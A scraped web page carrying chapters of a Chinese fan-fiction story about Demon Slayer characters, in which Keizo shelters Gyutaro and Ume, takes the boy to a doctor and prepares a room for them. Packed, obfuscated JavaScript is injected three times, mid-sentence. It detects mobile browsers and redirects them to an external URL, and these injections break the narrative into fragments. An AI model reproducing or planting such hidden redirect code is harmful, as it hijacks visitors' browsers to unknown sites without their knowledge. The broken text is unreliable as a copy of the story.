;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919618|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难以置信地看着庆藏。 “道场还有空的房间,可能长久不住积了些灰尘,一会儿咱们一起收拾一下。虽然不大,但遮风挡雪、烧个暖炉还是没问题的。” 庆藏继续说道,目光扫过瘦弱的兄妹俩,“粮食嘛,多两双筷子的事。狛治力气大,不过多劈点柴。恋雪身体弱,也一直希望能有同龄的玩伴。” 恋雪连忙点头,柔声说:“是啊,小梅妹妹这么可爱,我很想和她多说说话。而且,人多也热闹些。” 狛治没说话,只是看了看小梅捧着碗喝汤的样子,又看了看妓夫太郎身上纵横交错的旧伤疤,默默点了下头。 妓夫太郎的喉咙像是被什么堵住了,他张了张嘴,却发不出声音。他从未遇到过这样的善意,如此直接,如此厚重,让他不知所措,甚至有一丝惶恐——他拿什么来回报? “为、为什么…” 他声音干涩,“我们…我们没什么能给您…” 庆藏笑了,那笑容在午后的光晕里显得格外宽厚。“需要什么理由吗?看到了,有能力,便做了。就像你为了妹妹可以拼命一样,我也有我想保护的道场和家人。而帮助眼前需要帮助的人,也是武的道义之一。” 他顿了顿,看向狛治,“狛治刚来的时候,不也是这样吗?” 狛治“嗯”了一声,算是承认。顿了一会儿,对妓夫太郎开口道,“你不用担心,师父人很好,你们可以在这里安心住下。” 庆藏重新拿起筷子,夹了一块萝卜,语气轻松下来:“当然,也不是白住的。养伤期间,力所能及地帮忙打扫道场、跑跑腿。等身体好了,如果愿意,妓夫太郎你也可以跟着我,和狛治一起学点武,强身健体,以后也能更好地保护妹妹。怎么样?” 这不是施舍,而是给了他一个能够挺直腰板接受的、带着尊严的邀请。妓夫太郎明白了其中珍视的意味。他低下头,不想让人看见自己瞬间发红的眼圈,用力地、深深地点了下头。 “…谢谢您,庆藏师父。谢谢…大家。真的非常感谢。” 他声音哽咽,每一个字都发自肺腑。 小梅虽然不太完全明白具体发生了什么,但她能感受到空气中流动的温暖与善意,能看到哥哥颤抖的肩膀和最终放松下来的脊背。她也学着哥哥的样子,放下勺子,用稚嫩的声音认真地说:“谢谢…师父,谢谢哥哥姐姐。” 恋雪温柔地笑了,狛治的嘴角似乎也几不可察地弯了一下。 “好了好了,谢来谢去的,汤都要凉了。” 庆藏大手一挥,豪爽地说,“赶紧吃饭!吃饱了才有力气养伤、干活!” “是!” 妓夫太郎抬起头,擦了下眼睛,响亮地应道,然后端起碗,大口吃了起来。 这一刻的道场里,只有因缘分聚集的几个人,还有一锅热汤,没有什么华丽的言语,却奇异地交织出一种名为“家”的、令人心安的图景。 5. 午后阳光 午后,阳光。 午后的道场格外安静,只剩下碗筷偶尔碰撞的轻响。鸡汤的热气缭绕在每个人脸上,把冬日的寒意彻底隔绝在外。 庆藏放下碗,满意地拍了拍肚子,看向对面还在埋头吃饭的妓夫太郎:“慢点吃,锅里还有。” 妓夫太郎闻声抬起头,嘴角还沾着一粒饭,不好意思地擦了擦。小梅在一旁“噗嗤”笑出声来,又赶紧捂住嘴,眼睛弯成了月牙。 午饭在一种温暖的饱足感中结束。 “都吃饱了?”庆藏环视一圈,见几个孩子都点了头,便站起身来,“那好,狛治,你负责收拾碗筷,再烧点热水备着。恋雪,你和小梅在家好好休息,别累着。外面天冷,尽量别出去,一会儿我带着太郎去医馆。” 恋雪的气色看着似乎又好了一些,她慢慢直起一些身子,对庆藏说:“好,父亲,你们路上注意安全。我休息一下,一会儿帮小梅试试改好的衣服。” 庆藏点头,“好,量力而行。” 他转向妓夫太郎,语气放温和了些:“太郎,你跟我出去一趟。” 妓夫太郎连忙起身,“是,庆藏师父。” “咱们去医馆。早上饭桌上和你说过了,你小子不会忘了吧哈哈哈哈”庆藏一边穿外衣一边说, “你身上那些伤得让大夫瞧瞧,还有小梅虽然退烧了,但身子虚,得拿点调理的药。今天虽然雪停了,但是温度还没升上去,就不让小梅一起去了。这季节可得小心,不能再反复了。” 妓夫太郎愣住了。医馆——那是他从未敢想过要去的地方。尽管早上庆藏师父说了,但是他也不敢奢求那是真的要带他去。 毕竟在游郭,生病受伤都是硬扛,扛不过去就听天由命。游郭里的孩子,从来都是最底层的玩意儿,是活着就会浪费钱的东西,一直都是大人口中的大麻烦… 医馆里的药太贵了,贵到他和妹妹连闻一闻药味的资格都没有。 “庆藏师父,我…我没事的,都是旧伤…”他下意识地说。 “旧伤才更要看。”庆藏不由分说地给他也拿了件厚外套,“落下病根可是一辈子的事。快点穿上,外头化雪,冷。” 狛治已经默默开始收拾碗筷,听见二人的交谈。他抬眼看了下妓夫太郎,平淡却有力地说:“太郎,听师父的。师父不会害你的。” 恋雪也柔声劝道:“是啊,太郎君。有伤就要去医治呀,我和小梅还有狛治会在家等你们回来。身体才是最重要的。对吗,小梅?” 小梅点了点头,然后起身踉踉跄跄地走到哥哥身边,小手拉了拉他的衣角,大眼睛里满是担忧:“哥哥…去看病。” 妓夫太郎看着妹妹,终于点了点头,接过了庆藏师父手里的外套。 午后阳光正好,街道上的积雪已经融化了大半,露出湿润的青石板路。庆藏走在前面,步伐稳健。妓夫太郎跟在他身后半步,手里无意识地攥着衣角。越靠近医馆所在的那条街,他的脚步就越发迟疑,那些关于疼痛、昂贵和拒绝的记忆再次翻涌上来。 庆藏没有回头,也没有催促,只是步伐稍稍放慢,似乎在等待他跟上。 终于,“松寿堂”的匾额出现在眼前。药草混合的气味飘来,妓夫太郎的身体明显僵硬了。 庆藏掀开写着“薬”字的门帘,回头看了他一眼,眼神平静,却带着一种让人信任的力量。“太郎,进来,把伤处理干净,才能好利索,不落下病根。” 那眼神斩断了妓夫太郎最后一点退缩的念头。他深吸一口气,仿佛即将踏入的不是医馆,而是另一个战场,然后低着头,跟着钻了进去。 坐堂的老大夫抬眼看见庆藏,笑了:“庆藏师父,这回又是给谁抓药啊?小恋雪还是狛治那小子啊?” “福泽先生。”庆藏恭敬行礼,把妓夫太郎轻轻往前推了推, “麻烦您给这孩子看看,身上都是些旧伤。还有他妹妹,早上刚退烧。天寒,我就没带小姑娘过来。不过小姑娘也是瘦瘦小小的,应该也是长期饥一顿饱一顿的,一会儿麻烦您也抓点药给那孩子。” 老大夫让妓夫太郎坐下,掀开衣服时,花白的眉毛就拧紧了。纵横交错的伤疤,青紫肿胀的瘀痕,有些地方已经化脓,混着新结的痂。 “这怎么拖成这样…新的伤旧的伤,都要没一块好地方了”老大夫一边清理伤口一边摇头,“能撑到现在,这孩子也是命硬。” 清创上药的过程疼得妓夫太郎冷汗直冒,但他咬着嘴唇一声不吭,手指死死攥着衣摆。庆藏站在一旁,宽厚的手掌按在他肩上,温热的触感透过布料传来,莫名让人安心。 “外伤按时换药,别沾水,养一个月能结痂。”老大夫处理完,又仔细把了脉,眉头皱得更深,“内里虚得厉害,寒气入骨,长期饿着…这孩子能站着都是奇迹。” 他开了两张方子,一张外敷,一张内服,又单独写了一张给小梅的,“这个给小姑娘退烧后调理用,补气血,健脾胃。小姑娘年纪小,底子坏了可不行。” 庆藏仔细记下医嘱。付钱时,妓夫太郎瞥见那个数目,心头一紧。 老大夫包好药,又额外包了一小包饴糖递给妓夫太郎,“孩子,我开的药苦,你和妹妹含着这个糖能好些。” 妓夫太郎接过药包和糖,手指微微发颤。他深深鞠了一躬,喉咙发紧,只能挤出两个字:“多谢。” 走出医馆时,日头已经开始西斜。屋檐滴下的雪水在青石板上汇成细流,温度又开始下降,妓夫太郎怀里的药包却沉甸甸地发热。 “师父…”妓夫太郎抱着药,声音低低的,“这些钱…我以后一定…” “急什么。”庆藏走在他身旁,语气轻松,“先把身子养好。以后道场里多的是活儿,你想闲着我还不同意呢。” 他顿了顿,看向远处道场的方向,“当年我捡到狛治那小子,他也跟你现在差不多。浑身是伤,眼神凶得能杀人。” 妓夫太郎有些惊讶地抬头,“狛治哥也…” “嗯。为了给父亲买药,到处偷,被人往死里打,还抓到町奉行所里面,身上被刺了烙印。”庆藏的语气很平静,“后来他父亲不想拖累他,就选择自己…,后来他一个人流浪,被我遇上了。” “那时候恋雪她母亲刚过世不久,我既要打理道场,又要照顾女儿,实在忙不过来。我看狛治虽然野,但眼神干净,就把他带回来了。” 庆藏说着,转头看向妓夫太郎,“你知道我为什么收留他吗?” 妓夫太郎摇摇头。 “因为我在他身上看到了活着的劲头。”庆藏说,“不是为了活命而苟延残喘,是真正想要活下去、想要变强、想要保护什么的那种劲头。” “你也有这种劲头,太郎。”庆藏拍拍他的肩,“为了妹妹能做到什么地步,我心里清楚。这样的人,值得拉一把。” 妓夫太郎的视线模糊了。他用力眨了眨眼,把那股热意压下去。 “我…我不会让师父失望的。”他说,每个字都像从心底掏出来。 “那就好好养伤,好好吃饭,好好照顾妹妹。”庆藏笑了,“走吧,该回去了,不然小梅她们该着急了。” 庆藏的话音落下,两人踏上了归途。怀里的药包沉甸甸的,妓夫太郎的心却比来时轻了不少。他忍不住想象妹妹见到药时的样子,脚步也不自觉地加快了些。 他们在一往一返的时间里,道场里的时光也正按照它自己的节奏静静流淌。 狛治早已经收拾完厨房,把碗筷洗得干干净净,灶台擦得一尘不染。他做事有种近乎刻板的认真,每样东西该放在哪里,都有固定的位置。 做完这些,他先去恋雪和小梅所在的房间。 恋雪正坐在被炉旁,手里拿着针线,膝盖上摊着一件淡紫色的旧衣。小梅挨着她坐着,好奇地看着她穿针引线。 “恋雪,你身体怎么样?需不需要休息一下?”狛治站在门口问,语气里是暗藏的关心。 恋雪抬起头,温柔地笑了,“没事的,狛治先生。今天精神很好,胸口也不闷。趁着现在精神好,我想给小梅改改衣服。” 狛治点点头,又看向小梅 “小梅呢,烧退了吗?头有没有不舒服的地方,如果有的话,要记得好好说出来。” 小梅怯生生地回答,“退了…头不晕了。谢谢狛、狛治哥哥。” “嗯。没事就好”狛治转身要走,又停下,“你们两个要是有什么不舒服的地方就喊我,我就在院子里练功。” “知道啦。”恋雪的笑容更深了些,“你去练功吧,我和小梅妹妹做衣服,不累的。” 狛治这才离开,去了道场主屋。他把被炉收拾好,又把地板仔细擦了一遍,最后检查了门窗是否关严。做完这一切,他才走到院子里。 雪后的院子干净清爽,青石板路已经露了出来。狛治脱掉外衣,只穿一件单薄的练功服,开始练习素流的基本架势。 他的动作沉稳有力,每一拳每一腿都带着破风声。汗水很快浸湿了衣服,但他眼神专注,仿佛整个世界只剩下眼前的拳路。 屋里,恋雪给小梅量好了尺寸,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919619|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉块在衣服上做了记号。她选的是那件淡紫色的旧衣,颜色柔和,料子也软和。 “小梅喜欢这个颜色吗?”恋雪轻声问。 小梅点点头,小手摸了摸衣料 “喜欢…像之前看到的花一样。” 恋雪温柔地笑着,摸了摸小梅的头,“那姐姐就给你改这件。” 她拿出剪刀,沿着标记小心地裁剪。小梅安静地看着,偶尔问一句“这是什么”,恋雪就耐心地解释。 “恋雪姐姐的手真巧,好厉害。”小梅小声说。 恋雪轻轻摇摇头,“我身体不好,不能像别人那样跑跑跳跳,只能做些安静的事。做衣服啊,缝缝补补啊,时间长了,自然就会了。” 她说着,手上的动作不停,“小梅以后想学,姐姐可以教你。” “真的吗?” “真的呀。等小梅病好了,姐姐就教你。” 衣服改好时,天光已经变成了温暖的橘黄色。恋雪让小梅试穿,大小正合适。淡紫色衬得小梅苍白的脸色好了许多,虽然衣服还是略显宽大,但已经能看出小姑娘纤细的身形。 “转一圈看看。”恋雪说。 小梅有些害羞地转了个圈,衣摆轻轻扬起。 “真好看。”恋雪由衷地说,又从自己的妆匣里拿出梳子和几条发带,“来,姐姐给你梳头。” 她让小梅坐在身前,解开她的长发,仔细地梳理通顺。然后灵巧地编起发辫,在脑后挽成一个小小的发髻,用发带系好。 最后,恋雪从妆匣最底层拿出一个小小的、磨得发亮的银簪。簪头是一朵简单的樱花。 “这个送你。”恋雪把簪子轻轻插在小梅的发髻旁,“是我小时候戴的,小梅不嫌弃就好。我现在大了,戴不上这支簪子了。倒是小梅戴着正好。” 小梅愣愣地看着铜镜里的自己。镜中的小姑娘穿着淡紫色的衣服,头发整齐地挽着,发髻旁一点银光闪烁。她几乎认不出那是自己。 “这…太贵重了…”她小声说。 恋雪摇摇头,从身后轻轻抱住她,“首饰就是要让人戴着才好看呀。小梅戴着,比放在匣子里好多了。” 小梅的眼睛又红了。她转过身,把脸埋在恋雪怀里,小声说了句“谢谢姐姐”。 恋雪温柔地拍着她的背,就像母亲曾经对她做的那样。 院子里,狛治练完了最后一组动作,缓缓收势。他擦去额头的汗,抬眼看向主屋的窗户。温暖的灯光从窗纸透出来,隐约能看见两个女孩依偎在一起的身影。 他静静看了一会儿,想起晚饭的食材还没有准备完毕,就迅速转身冲凉,然后换上干净衣服。 换好衣服后,狛治又来到了恋雪和小梅在的屋子。在门口对她们说,“恋雪、小梅,我出去买一下晚饭要用的菜,很快就回来。我会把门都锁好,如果有人敲门,不要应,我马上就回来!” 恋雪抬起头,温柔地笑着说,“好,狛治先生。路上也请多注意安全。” 狛治点了点头示意知道了,然后就赶紧出门去采购食材,检查了几遍门窗确实都已经锁好才离去。 狛治紧赶慢赶,以最快的速度买回来了新鲜的蔬菜,先一步赶回了家,开始准备几人的晚饭。 而另一边的庆藏和妓夫太郎两人已经转过街角,隐隐约约看见了道场的屋檐。夕阳把整个道场染成暖洋洋的颜色,烟囱里飘出细细的炊烟——是狛治在烧晚饭。 庆藏忽然想起什么似的,开口道,“对了,一会儿回去得把那间空房收拾出来。长久没住人,估计积了不少灰。” 妓夫太郎心头一动,想起午饭时师父提过的话——在他们找到落脚处或身体好利索之前,可以留在这里。他当时以为那只是饭桌上的随口一说,没想到… “那间房朝南,冬天日头能晒进来,暖和。”庆藏继续说着,像在盘算,“就是堆了些旧杂物,得清出来。被褥倒是现成的,前几天刚晒过,正好能用。” 他看了眼妓夫太郎 “就是收拾起来可能得费点功夫。不过人多,一会儿让狛治也帮忙,应该赶在天黑前能弄好。” 妓夫太郎抱着药包的手紧了紧。他有很多话想说,谢谢,或者保证自己会努力干活,但最终只是深深吸了口气,郑重地点头,“是,庆藏师父。我会好好帮忙的。” 道场越来越近了。他已经能看见院子里那棵老树的轮廓,能听见里面隐约传来的说话声——是恋雪温柔的声音,还有小梅偶尔细细的回应。 庆藏推开门,暖意扑面而来。 “我们回来了。” 6. “欢迎回来” 门被推开的瞬间,房间里的热气像流水般涌出来,将站在门口的两人温柔地包裹。 “欢迎回来,父亲。”恋雪的声音最先响起,她正坐在被炉旁,手边还放着没来得及收起来的针线还有首饰盒。 狛治听见动静也连忙从厨房探出身,额上还沾着一点灶灰,见到庆藏便点了点头,“师父,欢迎回家。” 目光移向妓夫太郎,对他说,“欢迎回家,太郎。”视线扫过他怀中的药包,又移回灶台,锅里的水正好烧开了。 最活泼的是小梅。她几乎是立刻就从恋雪身边爬了起来——虽然脚步还有些虚浮,却努力站直了身子,眼睛亮晶晶地看着哥哥,“哥哥!欢迎回来!” 妓夫太郎看着她,一时竟有些恍惚。不过一个下午,妹妹看起来就不一样了。淡紫色的衣服很合身,头发整齐地挽着,发髻旁的樱花发簪闪烁着银光。她的脸颊虽然还苍白,但眼睛里有光,那是他许久未见的光彩。 “嗯…我回来了。”他把药包小心地放在玄关的柜子上,声音有些哑。 庆藏一边脱鞋一边笑,“哦?我们小梅变样子了啊,真好看。”他走到小梅面前,蹲下身仔细看了看,“这簪子…是恋雪的吧?” 小梅用力点头,小手轻轻碰了碰簪子,“是恋雪姐姐给我的。很漂亮,是之前和哥哥见过的花。” “很适合你。”庆藏摸了摸她的头,站起身看向厨房,“狛治,晚饭准备得怎么样了?” “马上就好。”狛治的声音从厨房传来,“米饭已经焖好了,汤在热,再炒两个菜就能开饭。” “不急不急。”庆藏摆摆手,走到屋内坐下,长长舒了口气,“还是家里暖和啊。” 妓夫太郎还站在玄关,有些不知所措。恋雪见状,柔声说:“太郎君,先把药拿到里间去吧,放在通风的地方就好。”她顿了顿,补充道,“小梅今天精神很好,下午试穿衣服时还转了好几圈呢。” 小梅有些不好意思地低下头,却又偷偷抬眼看向哥哥。 “谢谢…恋雪小姐。”妓夫太郎终于找回了声音,他抱起药包,按照恋雪的指引走向里间。经过厨房时,他瞥见狛治正利落地切着蔬菜,刀工快而整齐,每一片胡萝卜的厚度都几乎一样。 真是个一丝不苟的人啊,他心里想。 晚饭比中午简单,却同样温暖。味噌汤、烤鱼、腌菜,还有一大锅热腾腾的白米饭。狛治给每个人都盛了满满一碗。 “我开动了。”庆藏率先说道。 “我开动了。”其他人跟着说。 小梅学得慢了一拍,小声跟在后头,“我、我开动了…” 吃饭时话不多,只有碗筷碰撞的声音和偶尔的交谈。庆藏问起恋雪下午的情况,恋雪便笑着说小梅很乖,量衣服时一动不动。 “小梅以后肯定是个文静的姑娘。”庆藏笑道。 妓夫太郎默默扒着饭,耳朵却竖起来听着每一句话。这感觉太奇怪了——围坐在一张桌子旁,热乎乎的饭菜,平和的交谈,没有人争抢,没有人咒骂。 他偷偷抬眼看对面,狛治正认真挑着鱼刺,把挑干净的鱼肉夹到恋雪碗里。恋雪轻声说谢谢,狛治只是温柔地“嗯”了一声。 这种日常的温柔,远比任何轰轰烈烈的誓言更让妓夫太郎心潮起伏。 饭后,庆藏没有急着收拾,而是拍了拍手,“好了,趁着天还没全黑,咱们得把正事办了。” 几个孩子都抬起头看他。 “东边那间空房,得收拾出来。”庆藏说得理所当然,“太郎和小梅总不能一直睡在客间。那间房朝南,冬天日头好,暖和。” 妓夫太郎握紧了筷子。庆藏师父果然不是说说而已… “现在就去吗?”狛治已经站了起来,“我先去把碗收拾了。” “碗不急,一会儿再洗。”庆藏也站起身,“人多力量大,赶在天黑前收拾出来,今晚就能住进去。” 恋雪也想起身,被庆藏按住了,“你就别去了,那房间久不住人,灰尘大。你和小梅在这儿等着,收拾好了再过来看。” “可是…”恋雪有些担心。 “没事的,恋雪。”狛治看着恋雪一字一句地说,“我们几个去就好,你和小梅留在这里就好。你们两个病都刚好一点,那个房间也没有什么暖炉,不要再冻着生病。” 妓夫太郎看着妹妹,心里涌起一股复杂的情绪。小梅似乎很快就能适应这里了。她不再像在游郭时那样,只要自己离开视线就惶恐不安。是因为恋雪吗?还是因为这整个道场的气氛…来不及再多加思索,耳边传来庆藏师父的声音。 “走吧。”庆藏已经朝走廊走去。 东边的房间确实很久没用了。拉开门时,一股陈旧的灰尘味扑面而来。房间不大,角落里堆着些旧箱子、破旧的竹帘,还有一些用布盖着的、看不出是什么的东西。榻榻米上积了薄薄一层灰,窗纸也有些破损了。 “先通风。”庆藏说着,走到窗边,“咔哒”一声推开了窗户。冬日傍晚的冷空气涌进来,冲淡了室内的沉闷。 狛治已经挽起了袖子,“从哪儿开始?” 庆藏环视一圈,“先把这些杂物搬出去。能用的整理一下,不能用的…先堆到后院仓库去,等开春再处理。” 妓夫太郎也赶紧挽起袖子。他个子瘦小,力气却不小——这是常年挣扎求生练就的。他走到一个旧木箱前,试着抬了抬,比想象中沉。 “我来。”狛治走过来,和他一前一后抬起箱子。箱子确实沉,里头不知道装了些什么,搬动时发出哐当哐当的声响。 两人一前一后抬着箱子穿过走廊,来到后院。天色已经暗下来了,夕阳的最后一点余晖把云层染成暗红色。后院有个小仓库,门没锁,里头堆着些柴火和旧工具。 “放这儿就行。”狛治说着,两人合力把箱子放下。 直起身时,妓夫太郎喘了口气。狛治看了他一眼,“你的伤,没事吧?医师怎么说?” “没事。”妓夫太郎摇摇头,“这点伤不算什么。老医师说都是一些旧伤比较严重,恢复的好的话一个月差不多就够了。” 确实不算什么。在游郭时,他搬过更重的东西,挨过更痛的打。但那时是不得不做,现在是被需要着做。这微妙的差别,让他的心口热热的。 回到房间时,庆藏已经在清扫榻榻米了。他拿着一张旧草席,用巧劲拍打着榻榻米,灰尘在光线中飞舞。 “你们继续搬。”庆藏头也不抬,“把那些竹帘也拿出去,明天我修修,看看能不能修好,好的话夏天还能用。” 狛治和妓夫太郎便继续搬运。第二个箱子里装的是些旧书和卷轴,大概是道场以前用的教材或笔记。庆藏看了一眼说,“这个放主屋去吧,说不定还有用。” 第三个箱子最轻,打开一看,竟是些旧衣服和布料。有些已经褪色了,但料子还结实。 “这些…”妓夫太郎有些犹豫。 “先放一边。”庆藏说,“恋雪手巧,说不定能改改用上。” 他们一趟趟搬运,房间渐渐空了出来。灰尘在夕阳的光线中飞舞,又被窗外吹进来的冷风带走。 妓夫太郎的额上出了汗,背上的伤口隐隐作痛,但他没停。每搬走一样东西,房间就宽敞一分,这感觉…像是在亲手给自己和妹妹刨出一个窝。 最后一个大件是个旧屏风,已经有些散架了。狛治和妓夫太郎一左一右抬着,小心翼翼地穿过门框。 “小心门槛。”狛治提醒。 “嗯。”妓夫太郎应着,两人配合默契地跨过门槛。 把屏风放到后院后,狛治忽然说,“你学得很快。” “什么?”妓夫太郎一愣。 “抬东西。”狛治说,“知道怎么用力,怎么配合。” 妓夫太郎沉默了。他能怎么说呢?说他从小就在搬东西,搬酒坛、搬货物、有时候还要搬喝醉的客人吗?还是说他早就学会用最小的力气干最重的活,因为没力气就没饭吃吗… “…习惯了。”最后他只说了这三个字。 狛治没再问,只是拍了拍手上的灰,“回去吧,差不多该清扫了。” 房间清空后,真正的清扫开始了。 庆藏已经扫了一遍榻榻米,现在正用湿布仔细擦拭。狛治负责修补窗纸——他不知从哪里找来了新的窗纸和浆糊,动作熟练地裁切、涂抹、粘贴。 妓夫太郎被分配去擦墙壁和天花板。庆藏给了他一根长竹竿,头上绑着块布。 “从上往下擦,不然灰尘又落下来。”庆藏示范着,“小心点,别碰到伤口。” 妓夫太郎接过竹竿。这活计不重,但需要耐心。他仰着头,一点一点擦拭着天花板。灰尘簌簌落下,有些落进他眼睛里,他眨眨眼,继续擦。 房间里渐渐充满了浆糊的味道、灰尘的味道,还有窗外飘进来的冬日空气的味道。三种味道混在一起,竟不让人觉得难闻,反而有种新生的感觉。 狛治补好窗纸,又检查了门窗的轨道,上了一点油。推拉时顺滑无声。 “手艺不错。”庆藏夸道。 “以前在家和父亲学过。”狛治简短地回答,继续检查另一扇窗。 妓夫太郎擦完天花板,开始擦墙壁。墙壁是木板拼成的,有些地方有裂缝,但整体还算结实。他擦得很仔细,连墙角都不放过。 就连这些木头在游郭都是烧不起的奢侈品,在这里却只是寻常的墙壁。他摸着那些光滑的木纹,心里涌起一种不真实感。 等墙壁擦完,庆藏已经把榻榻米擦第二遍了。湿布擦过的地方,露出榻榻米原本的浅草色。 “差不多了。”庆藏直起身,揉了揉腰,“狛治,去主屋把被褥抱过来。太郎,你去打桶水,最后再擦一遍地板。” “是。”两人同时应道。 狛治去抱被褥了。妓夫太郎提着木桶到井边,打上来的水冰冷刺骨。他提着水回到房间时,狛治已经抱着被褥回来了——两床厚实的棉被,还有枕头和床单。 “这是前几天晒过的。”狛治说着,把被褥放在擦干净的榻榻米上,“很暖和。” 妓夫太郎看着那些被褥。棉被是深蓝色的,布料厚实,摸上去柔软干燥。枕头里填的是荞麦壳,散发着一股淡淡的植物香气。而这些东西在游郭,是只有最红的游女才用得起的。 他蹲下身,开始拧干抹布,最后一次擦拭地板。水很冷,他的手很快冻红了,但他擦得很认真,每一块榻榻米都要擦三遍——横着擦,竖着擦,最后再打圈擦一遍。 擦到房间中央时,他忽然停了下来。 这个位置…正好能晒到早晨的太阳。他抬头看向窗户,狛治补的窗纸很平整,透光均匀。想象一下,冬天的早晨,阳光透过窗纸照进来,暖暖地晒在被褥上。小梅可以在这里晒太阳,不会冷,也不会被风吹到… “擦好了?”庆藏的声音从门口传来。 妓夫太郎回过神,连忙点头扬声道,“好了。” 庆藏走进来,环视了一圈。房间已经焕然一新:干净的榻榻米,修补好的窗户,空荡荡但整洁的墙壁。被褥整齐地叠放在一角,等待着使用的人。 “不错。”庆藏满意地点点头,“今晚就能住进来了。” 这时,恋雪和小梅也过来了。恋雪手里提着一个小灯笼,暖黄的光照亮了走廊。 “收拾好了吗?”恋雪轻声问。 “进来看看吧。”庆藏让开身子。 小梅第一个钻进来。她睁大眼睛看着房间,又看向哥哥。妓夫太郎对她点点头,她便小心翼翼地踏上榻榻米——光着脚,因为恋雪下午给她新做的袜子不舍得弄脏。 “好干净…好漂亮…”她小声说。 恋雪也走进来,把灯笼放在窗台上。暖光顿时充满了整个房间。 “朝南的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他慢慢清洗着身体,动作很轻,怕弄疼伤口。热水让紧绷的肌肉放松下来,也让他一直高度戒备的神经松弛了。他靠在桶边,闭上眼睛。 门外传来隐约的说话声,是恋雪和小梅在说什么,声音轻柔,听不真切。还有庆藏和狛治的脚步声,他们在收拾晚饭的碗筷。 这些声音交织在一起,构成了一种奇妙的安宁。 洗完澡,换上干净衣服,妓夫太郎觉得自己像重生了一遍。衣服上有阳光的味道,是今天刚晒过的。 他走出浴室,小梅立刻凑过来,“哥哥,热水澡是不是很舒服?水还热吗?” “是啊…热水澡很舒服。水还热。”妓夫太郎摸摸她的头,“去吧。” 小梅和恋雪去洗澡了。庆藏让妓夫太郎坐在主屋的被炉旁,给他换药。药膏敷在伤口上,带来清凉的刺痛感,但比下午在医馆时好多了。 “伤口愈合得不错。”庆藏仔细检查着,“年轻就是好啊。” 换好药,狛治端来了热茶。三人坐在被炉旁,一时无话。但沉默并不尴尬,反而有种疲惫后的舒适感。 过了一会儿,庆藏开口,“明天开始,太郎你也跟着狛治一起晨练吧。” 妓夫太郎抬起头。 “先从最基础的开始。”庆藏继续说,“把身体底子打好。素流不是什么花架子,是实打实能护身的功夫。你学会了,以后不管去哪儿,都能保护自己和小梅。” “…是。”妓夫太郎郑重地应道。 “不用急。”庆藏喝了口茶,“日子还长着呢。” 是啊,日子还长。妓夫太郎想。他第一次觉得,这句话不是空谈,而是实实在在的、可以期待的未来。 小梅和恋雪洗完澡出来时,两个人都脸红扑扑的,头发还湿着。恋雪用干布仔细帮小梅擦头发,动作轻柔。 “父亲,我们洗好了,您和狛治哥哥可以去洗了。”恋雪对庆藏和狛治说。 “好。”庆藏站起身,伸了个懒腰,“狛治,走吧。” 两人去了浴室。主屋里剩下妓夫太郎、小梅和恋雪。小梅靠到哥哥身边,小声说,“哥哥,新房间好大。” “嗯。”妓夫太郎搂住她,“喜欢吗?” “喜欢。”小梅用力点头,“被子好软,有太阳的味道。” 恋雪在一旁微笑,“被褥我每半个月都会晒一次。冬天日头好的时候,晒过的被子特别暖和。” 小梅仰头看她,“恋雪姐姐也晒被子吗?” “对呀。”恋雪说,“不过我一个人盖不了那么多,以后可以和小梅一起晒。” 小梅的眼睛更亮了。 过了一会儿,庆藏和狛治也洗完澡回来了。大家都换上了干净的睡衣,聚在一起。庆藏看了看窗外的天色,“不早了,该休息了。” 他看向妓夫太郎和小梅,“今晚就睡新房间吧。要是夜里冷,或者有什么不习惯的,随时过来主屋。” “是。”妓夫太郎应道。 小梅却有些犹豫。她看看哥哥,又看看恋雪。 恋雪察觉到了,柔声问,“怎么了,小梅?” “我…”小梅小声说,“我想和恋雪姐姐再说说话…” 恋雪笑了,“好啊,那今晚小梅跟我睡主屋这边?让你哥哥一个人先试试新房间?” 小梅立刻看向哥哥,眼神里带着询问。 妓夫太郎愣了一下,随即点头,“好。梅跟恋雪小姐睡吧。麻烦恋雪小姐了。” 他知道,妹妹是还有些不安,想多亲近亲近这个温柔的大姐姐,毕竟从来没有其他的女性对她这么好。这没什么不好的。 于是就这样决定了。小梅跟着恋雪去主屋的客房,妓夫太郎一个人去新收拾的房间,庆藏和狛治也各自回房。 夜深了,道场的灯火一盏盏熄灭,但每个人的心却还在安静地醒着。 7. 睡梦之前 新房间里,妓夫太郎铺好了被褥。两床被子,一床铺在下面当垫被,一床盖在上面。枕头放在靠窗的位置——这样早晨就可以被阳光暖洋洋地叫醒。 他躺进被窝里。被褥果然很软,有阳光和皂角的混合香气。房间很安静,能听到窗外风吹过的声音,还有远处隐约的狗吠。 他睁着眼睛,看着天花板。黑暗中,天花板的轮廓模糊不清,但他知道那里很干净,是他亲手擦过的。 这房间是他的了——暂时是。 准确来说,是属于他和妹妹的。第一次独属于他们的、温暖的房间。 这个认知让他胸口发热,同时又有些惶恐。他配得上吗?配得上这么干净的房间,这么温暖的被褥吗?配得上那些不求回报的善意吗? 